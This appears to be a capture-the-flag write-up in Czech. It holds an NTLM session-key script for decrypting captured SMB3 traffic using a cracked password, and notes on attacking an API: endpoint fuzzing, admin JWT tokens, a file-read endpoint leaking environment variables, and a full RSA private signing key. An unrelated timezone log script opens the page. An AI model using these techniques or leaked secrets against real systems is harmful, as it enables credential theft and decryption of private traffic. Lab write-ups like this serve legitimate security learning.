from datetime import datetime

import pytz
def fix_timezone_name(name):
return name.replace(" ", "_")

def convert_to_utc(log):

date_str, time_str, timezone_str, *entry = log.split()
datetime_str = f"{date_str} {time_str}"
fixed_timezone_str = fix_timezone_name(timezone_str)

try:
timezone = pytz.timezone(fixed_timezone_str)
except pytz.UnknownTimeZoneError:

print(f"Unknown timezone: {timezone_str} (tried {fixed_timezone_str})")

return None
datetime_obj = datetime.strptime(datetime_str, "%Y-%m-%d %H:%M:%S")
localized_datetime_obj = timezone.localize(datetime_obj)
utc_datetime_obj = localized_datetime_obj.astimezone(pytz.utc)
return f"{utc_datetime_obj.strftime('%Y-%m-%d %H:%M:%S')} UTC - {' '.join(entry)}"

def main():
with open('sonar.log', 'r') as file:
logs = file.readlines()
converted_logs = []
for log in logs:
converted_log = convert_to_utc(log)
if converted_log is not None: # Skip logs with unknown timezones
converted_logs.append(converted_log)

for log in sorted(converted_logs):
print(log)
if __name__ == "__main__":

main()
Copy

import hashlib
import hmac
import argparse
from Crypto.Cipher import ARC4
from Crypto.Hash import MD4

def generateEncryptedSessionKey(keyExchangeKey, exportedSessionKey):
   cipher = ARC4.new(keyExchangeKey)
   sessionKey = cipher.encrypt(exportedSessionKey)
   return sessionKey

parser = argparse.ArgumentParser(description="Calculate the Random Session Key based on data from a PCAP (maybe).")
parser.add_argument("-u","--user",required=True,help="User name")
parser.add_argument("-d","--domain",required=True, help="Domain name")
parser.add_argument("-p","--password",required=True,help="Password of User")
parser.add_argument("-n","--ntproofstr",required=True,help="NTProofStr. This can be found in PCAP (provide Hex Stream)")
parser.add_argument("-k","--key",required=True,help="Encrypted Session Key. This can be found in PCAP (provide Hex Stream)")
parser.add_argument("-v", "--verbose", action="store_true", help="increase output verbosity")

args = parser.parse_args()

#Upper Case User and Domain
user = str(args.user).upper().encode('utf-16le')
domain = str(args.domain).upper().encode('utf-16le')

#Create 'NTLM' Hash of password
passw = args.password.encode('utf-16le')
hash1 = MD4.new()
hash1.update(passw)
password = hash1.digest()

#Calculate the ResponseNTKey
h = hmac.new(password, digestmod=hashlib.md5)
h.update(user + domain)
respNTKey = h.digest()

#Use NTProofSTR and ResponseNTKey to calculate Key Exchange Key
NTproofStr = bytes.fromhex(args.ntproofstr)
h = hmac.new(respNTKey, digestmod=hashlib.md5)
h.update(NTproofStr)
KeyExchKey = h.digest()

#Calculate the Random Session Key by decrypting Encrypted Session Key with Key Exchange Key via RC4
RsessKey = generateEncryptedSessionKey(KeyExchKey,bytes.fromhex(args.key))

if args.verbose:
    print(f"USER WORK: {user.decode('utf-16le')}{domain.decode('utf-16le')}")
    print(f"PASS HASH: {password.hex()}")
    print(f"RESP NT:   {respNTKey.hex()}")
    print(f"NT PROOF:  {NTproofStr.hex()}")
    print(f"KeyExKey:  {KeyExchKey.hex()}")
print(f"Random SK: {RsessKey.hex()}")

Copy

script výsledek:

user: james_admin [z pcapu]
domain: LOCAL.TCC [z pcapu]
password: james_admin.f0r.SMB.8089078 [za pomoci hashcat]
ntproofstring: 8bc34ae8e76fe9b8417a966c2f632eb [z pcapu]
session_key: 4292dac3c7a0510f8b26c969e1ef0db9 [z pcapu]
session_id: 0x00000000b936b149
session_stazeno_jako_hex_stream: 49b136b900000000
Random SK: 7a93dee25de4c2141657e7037dddb8f1
Copy

python script.py -u james_admin -d LOCAL.TCC -p james_admin.f0r.SMB.8089078 -n 8bc34ae8e76fe9b8417a966c2f632eb  
4 -k 4292dac3c7a0510f8b26c969e1ef0db9  
Random SK: 7a93dee25de4c2141657e7037dddb8f1
Copy

• Jakmile mám takto přidané klíče, tak se mi najednou zobrazí SMB3 Encrypted traffic, zejména na tcp.stream eq 11 a 12.
• Tím se mi podařilo získat secret.db.enc
• Tu potřebuji rozšifrovat viz předchozí zmínka v bash_history
• Jakmile mám hotovo mám před sebou secret.db a když ji otevřu vidím FLAG :)
• FLAG{5B9B-lwPy-OfRS-4uEN}

1. problém byl s tím, vůbec se odpíchnout na začátku, naštěstí do velké míry pomohl Fuzz Faster U Fool
2. následně problém s tím, že při metodě POST se vrací jiné hodnoty
3. Při registraci uživatele na adrese /api/v1/user/signup může být body v JSON
4. Při loginu uživatele u /api/v1/user/login již musí být hodnoty v form-data

{

"access_token": "eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3MTk2NzIwLCJpYXQiOjE2OTY1MDU1MjAsInN1YiI6IjUiLCJhZG1pbiI6ZmFsc2UsImd1aWQiOiI3M2JlODE5Zi0zNzZlLTQ5M2MtODU5YS0wNzM1MDBjMDdiNWIifQ.bKURmVKI7U8zn3PJavxKoltM48thCuvUT4b2LKGHzM3lcZExoH4pz6t_jRFpln4m8FXVuOo-hWDhMfAY0ibODwed4d2o8UsB7hnD3l_008QMVTHjCPK-o0nx-IcRsPl67kmwIw4b-TPW8Wm2AvISNIZzONcsTKLhViAEDwe4ICQOJX4nwpcOb9bzhasCMEvN5lRGHzJE4P181ZxxdbY2HdsaRt5Tbxl7tfXQxvQyfXeep81lX8KcEGGfNl_De-0SFAiqPwEF9W2A8LaxwBlZl0kk0KgHvVqFc0BbTZlQjRtgAyVOfCXv9Uk52u7vO7zzKhLjEkoXcv3Xxg4LJYsY66SIMF2fP5W79Gdd2mD7xVLKeqeebXL2rhyg-1U3_vJe8y8A0n52u0476Ee8ss4_yhuJ1WeTvQ9SB9klkJJeC-zfo_wTauiSYg7QbWpK4oZhsmng3fNxj14apPJ3Ux3xYW5nadAwfiLrgfn8ZTPvL-w7sR4qIEEDmYenbD5SVDJvHSRK8uSCqCFY5GGEAPizwuvCfobGuYPG4-unhiNgJyNU7IhXY9rNsf2WDKHK1McBzJ1JChGIEoXXi5EVOqruAtjuv27_lCeZkD-mW9RzuUR7yP1L0kNgjtH3LOpoHDwlVdFtb_rD6UXD5yWiRk6_h7B5yfvUrrFnhuAUMlnLqIE",

"token_type": "bearer"

}
Copy

• /api/v1/user/:user_id=1

{
"guid": "ceaa3b3a-19ea-42ba-aa99-009e91959bd5",
"email": "admin@local.tcc",
"date": null,
"time_created": 1690796892351,
"admin": true,
"id": 1
}
Copy

"password": "heslo123456"
"admin token":
eyJhbGciOiJSUzM4NCIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoiYWNjZXNzX3Rva2VuIiwiZXhwIjoxNjk3MjAwMzA5LCJpYXQiOjE2OTY1MDkxMDksInN1YiI6IjEiLCJhZG1pbiI6dHJ1ZSwiZ3VpZCI6ImNlYWEzYjNhLTE5ZWEtNDJiYS1hYTk5LTAwOWU5MTk1OWJkNSJ9.uLgDJioE5YnzJghnFTCw0Lwdl89ZRHhbyGh7Q5LMyCMocLKU6ouTHgZEtx0fbKJysmTDjOCg1ua-efSB0UWuQNvxsbDE-Nb0xjsjvRMFu5-X7JhqqQ0Rk3eNZpag973OuLVKvi96_b8QPkZ7rOa01AcQ4ajOBVL25I4KO0zYNnS1U5TkpDAow7JWxyRI3o5Y-kvI562R5RApvHOhwBrFCmrh3o97aMKYdhSoPQPTIe07nVqeLvrk4pORfC1ARZTU3hvpzMkix_x2cTRQ0CJDZhpFZmS-kd43nJKQItA8IxU84JSH_ajpu7NuJ1XQLcxwu8WeAE4F3R3Qee1hXyg9bEVteY3bte5rLqE4Yl94m-XNMiU_6JDnztVqZzS_RrVEdvm-t-jae4v08prNKhMvpHzoDnjzgSWFHpnhC-5k6dJgCrxwcr7QQ49PvFVAMhmQesozT-yMokflK_MmJJSu_E9aKzwpl6b5hm8jJDzMY3Cjempugqy-9fb5wMbfu1EGrzAMSXwxMy1GjAUa99S2szUeKZevDcky3agh7z2E2AAoeUYPIRBsJ9RrPyB-mtH5EYLY11nkhMDTA5B5yAFLAOnuTgwsJfS3zRot415AQy6_Ek8b7AAQdIMSW3cMDy4Hc0uTRZl5Hum97N86lq1JMF_-KpF_04EmBNLo03Zrv2o
Copy

{"file":"HOSTNAME=eb46ba1367de\u0000PYTHON_VERSION=3.10.13\u0000APP_MODULE=shipapi.main:app\u0000PWD=/app\u0000PORT=80\u0000PYTHON_SETUPTOOLS_VERSION=65.5.1\u0000TZ=Europe/Prague\u0000HOME=/home/appuser\u0000LANG=C.UTF-8\u0000VIRTUAL_ENV=/app/venv\u0000GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D\u0000PYTHONPATH=.\u0000HOST=0.0.0.0\u0000SHLVL=0\u0000PYTHON_PIP_VERSION=23.0.1\u0000VIRTUAL_ENV_PROMPT=(venv) \u0000PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe\u0000PS1=(venv) \u0000PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py\u0000PATH=/app/venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000"}
Copy

Odpověď byla:

{"file":"HOSTNAME=eb46ba1367de\u0000PYTHON_VERSION=3.10.13\u0000APP_MODULE=shipapi.main:app\u0000PWD=/app\u0000PORT=80\u0000PYTHON_SETUPTOOLS_VERSION=65.5.1\u0000TZ=Europe/Prague\u0000HOME=/home/appuser\u0000LANG=C.UTF-8\u0000VIRTUAL_ENV=/app/venv\u0000GPG_KEY=A035C8C19219BA821ECEA86B64E628F8D684696D\u0000PYTHONPATH=.\u0000HOST=0.0.0.0\u0000SHLVL=0\u0000PYTHON_PIP_VERSION=23.0.1\u0000VIRTUAL_ENV_PROMPT=(venv) \u0000PYTHON_GET_PIP_SHA256=45a2bb8bf2bb5eff16fdd00faef6f29731831c7c59bd9fc2bf1f3bed511ff1fe\u0000PS1=(venv) \u0000PYTHON_GET_PIP_URL=https://github.com/pypa/get-pip/raw/9af82b715db434abb94a0a6f3569f43e72157346/public/get-pip.py\u0000PATH=/app/venv/bin:/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\u0000"}
Copy

RSA key

-----BEGIN RSA PRIVATE KEY-----\n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\n-----END RSA PRIVATE KEY-----\n
Copy

PUB rsa

-----BEGIN RSA PUBLIC KEY-----
MIICCgKCAgEAzZ9oqXFgfAkwkHpaJebs4JB1fPRcMcg8zprGPzgh6HQuSEGNzW0o
f5Sf5HPg6vVPBlGGKjg4YeHH+PNo6I8Oa+s6mmA8Nj5l1bgp7WXgB8GTUQmA1yjG
HAvd2p5Bs0VBS/92EkGCRX0OUmKuM7eNI3FLmZ/A0lCXeFS/LSGw0CQ7yIImWIbp
XGqSKkOtKz9E+r2eckxEBPUmPs7uL41aJgFrukQjiPjEG4CjUWxv53o7oiodC+fb
PoS+mK0wRfLjIodl0V3dCm/P4IzB5a8qVozCIwzmLZW12ZjgFt3JrsP6oJxWqmZ8
2gmt+ps9Zaabg0+797hwfJWmpLtEhtl3gG21w37hVIU9BYSu/tSXEYMQ5G3i1afg
Su1rp8KsldnZTyYVyHXfGC5rZNRh7dnrYR/SzREH1x5mvTAYqgZk9c732cP5yS8q
RzMGyQCBWOvmXSX1WEpjy3zSXwh/QDH0jeuHH/TrcvOeFdqbAlVdjiM6pStc3uIc
1l+Ik4s0d4htUiMW9OQ5hW1qOAFZedQlnXLKBgNxI/0E08XXoGE3mVHcR1352QjO
kfOA8ICwCzNtIgQQKx+jDVWkMZrmUL+W6+/zFV8pTp9HrL/1gx+kLbyB2CfwLbRn
PychfePyOqD9kbLR2tyh5jTLminOV5+sLsbCrwHaNmLNY0rIzQxxzZcCAwEAAQ==
-----END RSA PUBLIC KEY-----
Copy

Struktura python aplikace:

/app
    /shipapi
        __init__.py
        /main.py        (obsahuje hlavní aplikační kód s routami a nastavením FastAPI)
        /appconfig
            __init__.py
            /config.py   (obsahuje nastavení aplikace, jak bylo vidět v příkladu)
            /jwtsigning.key   (klíč pro podepisování JWT)
            /jwtsigning.pub   (veřejný klíč pro ověřování JWT)
        /schemas
            __init__.py
            /user.py     (definuje pydantic modely pro uživatele, jak bylo vidět v příkladu)
        /api
            __init__.py
            /v1
                __init__.py
                (další soubory/moduly související s verzí 1 API)
    /venv               (virtuální prostředí Pythonu)
    /navalship.db       (SQLite databáze, předpokládaná umístění na základě konfigurace)

Copy

• JWT token debugger